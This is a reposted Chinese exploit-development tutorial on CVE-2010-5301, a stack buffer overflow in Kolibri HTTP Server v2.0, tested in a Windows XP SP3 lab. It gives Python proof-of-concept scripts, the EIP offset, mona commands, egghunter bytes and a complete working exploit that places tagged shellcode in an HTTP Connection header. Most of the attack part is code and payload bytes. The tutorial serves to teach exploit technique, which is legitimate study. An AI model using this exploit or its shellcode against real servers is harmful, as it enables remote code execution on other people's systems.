您的位置:首页 > 其它

CVE-2010-5301浅析-Kolibri栈溢出漏洞

2017-05-21 12:59 260 查看
本文转载自

Kolibri v2.0-Buffer Overflow分析及利用

Windows Exploit Development Tutorial Series:Part 4 EggHunters

EggHunters技术是staged shellcode技术的一种,寻蛋指令的目的是为了搜索整个内存空间找到我们真正的shellcode并执行它,如果可用的溢出缓冲区放不下整个shellcode,就可以使用这个技术。前提条件:必须能够跳转,并且执行一些shellcode(寻蛋指令);最终执行的shellcode必须在内存的某个位置;最终执行的shellcode的前面必须存在唯一标识方便寻蛋指令查找定位。在XP SP3上安装Kolibri HTTP Server v2.0,因为软件为绿色软件直接运行即可。



开启服务以后,我们先写一个简单的python测试脚本。

import socket

poc = "A" * 1000;
buffer = (
"HEAD /" + poc + " HTTP/1.1\r\n"
"Host: 192.168.1.2:8080\r\n"
"User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; he; rv:1.9.2.12) Gecko/20101026 Firefox/3.6.12\r\n"
"Keep-Alive: 115\r\n"
"Connection: keep-alive\r\n\r\n")

exp = socket.socket(socket.AF_INET,socket.SOCK_STREAM);
exp.connect(("192.168.1.29",8080));
exp.send(buffer);
exp.close();


运行测试脚本,Kolibri直接退出,说明我们的测试起到了效果。然后我们再使用Immunity Debugger打开Kolibri。使用mona插件生成600个测试字符:
!mona pattern_create 600
,Immunity Debugger会在调试器根目录下生成一个以pattern命名的.txt文件,此文件中就保存的就是我们的600个测试字符。我们把测试脚本中的1000个A替换成我们的测试字符,替换完以后再次开启程序,在本机运行测试脚本。



可以看到我们的调试器弹出了一个窗口,把32724131放到mona插件中搜索一下,是否存在于我们的测试字符中。



偏移为515,我们来验证一下。把第516~519个字节改为ABBA,然后再次测试。



确实为ABBA的ASCII码,说明我们已经控制了程序的EIP。为了使用EggHunters技术我们需要一个jmp esp指令、一个跳转指令和寻蛋指令。jmp esp指令可以使用
!mona jmp -r esp
命令查找;跳转指令可以使用\xEB\xC4,短跳转指令EB,长度为-60(0xc4),因为短跳转的范围是-128~127,所以最大正数为7F,大于7F就为负跳转;寻蛋指令可以使用
!mona egghunter
命令查找,生成的寻蛋指令如下,标记为w00tw00t。

"\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74"
"\xef\xb8\x77\x30\x30\x74\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7"


寻蛋指令的原理如下图所示。



因为不好编辑十六进制代码,所以新创建一个文件(sc.sc)把shellcode放置到此文件中编辑,POC直接打开sc.sc文件读取就可以了。



构造好buffer后再次启动漏洞程序,运行POC之前先到0x7d5a30d7处下一个断点。运行POC可以看到程序跳转到了我们指定的位置。



顺着我们指定的指令执行,程序jmp到了esp寄存器指向的位置,此位置中存放的正好是我们的短跳转指令。



此短跳转指令又跳转到我们的寻蛋指令首地址。



现在只差传入一个shellcode了,把shellcode布置到http头中的Connection字段。注意,需要在shellcode首部添加一个w00tw00t标签,方便寻蛋指令识别。

import socket

#Egg Hunter
fp = open("./sc.sc","rb+");
poc = fp.read(1024);
print"> Poc>>";
print"",poc;

shellcode = "w00tw00t"+ "\x31\xD2\xB2\x30\x64\x8B\x12\x8B\x52\x0C\x8B\x52\x1C\x8B\x42\x08\x8B\x72\x20\x8B\x12\x80\x7E\x0C\x33\x75\xF2\x89\xC7\x03\x78\x3C\x8B\x57\x78\x01\xC2\x8B\x7A\x20\x01\xC7\x31\xED\x8B\x34\xAF\x01\xC6\x45\x81\x3E\x46\x61\x74\x61\x75\xF2\x81\x7E\x08\x45\x78\x69\x74\x75\xE9\x8B\x7A\x24\x01\xC7\x66\x8B\x2C\x6F\x8B\x7A\x1C\x01\xC7\x8B\x7C\xAF\xFC\x01\xC7\x68\x74\x5F\x67\x6F\x68\x20\x40\x4C\x65\x89\xE1\x33\xC0\x88\x41\x08\x51\x50\xFF\xD7"
buffer = (
"HEAD /" + poc + " HTTP/1.1\r\n"
"Host: 192.168.1.2:8080\r\n"
"User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; he; rv:1.9.2.12) Gecko/20101026 Firefox/3.6.12\r\n"
"Keep-Alive: 115\r\n"
"Connection: " + shellcode + "\r\n\r\n")

exp = socket.socket(socket.AF_INET,socket.SOCK_STREAM);
exp.connect(("192.168.1.29",8080));
exp.send(buffer);
exp.close();




内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: